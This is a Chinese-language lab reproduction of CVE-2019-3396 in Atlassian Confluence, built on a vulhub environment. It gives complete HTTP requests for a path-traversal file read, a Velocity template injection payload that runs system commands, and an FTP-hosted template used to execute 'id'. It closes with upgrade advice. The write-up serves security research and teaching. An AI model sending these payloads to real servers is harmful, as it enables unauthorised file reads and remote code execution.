简介
Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki。使用简单,但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。
影响版本
6.6.12版本之前所有版本
6.7.0-6.12.2版本
6.13.3之前的所有6.13.x版本
6.14.2之前的所有6.14.x版本
环境搭建
这里使用vulhub来安装
地址:
https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396
进入目录
cd vulhub-master/confluence/CVE-2019-3396
启动一个Confluence Server 6.10.2版本的环境
访问http://your-ip:8090即可看到安装页面
选择“Trial installation”,之后会要求填写license key。点击“Get an evaluation license”,去Atlassian官方申请一个Confluence Server的测试证书(不要选择Data Center和Addons)
把Server ID复制进去即可
再把key放进去即可
按照顺序依次填入即可
安装完成
漏洞复现
构建数据包进行发送
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 176
{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}
成功读取web.xml
该文件是一个Velocity模板,我们可以通过模板注入(SSTI)来执行任意命令
创建文件r.vm
set ($exp="exp")
set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))
set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
set($sc = $exp.getClass().forName("java.util.Scanner"))
set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))
set($scan=$constructor.newInstance($input).useDelimiter("\A"))
if($scan.hasNext())
$scan.next()
end
用python启动服务
python -m pyftpdlib -p 8888
构建数据包并发送
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 192.168.204.131:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/plain, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.204.131:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Length: 195
X-Forwarded-For: 127.0.0.2
Connection: keep-alive
{"contentId":"1","macro":{"name":"widget","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"ftp://192.168.204.131:8888/r.vm","command":"id"},"body":""}}
成功执行命令
修复建议
升级Confluence版本
本文始发于微信公众号(锋刃科技):Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论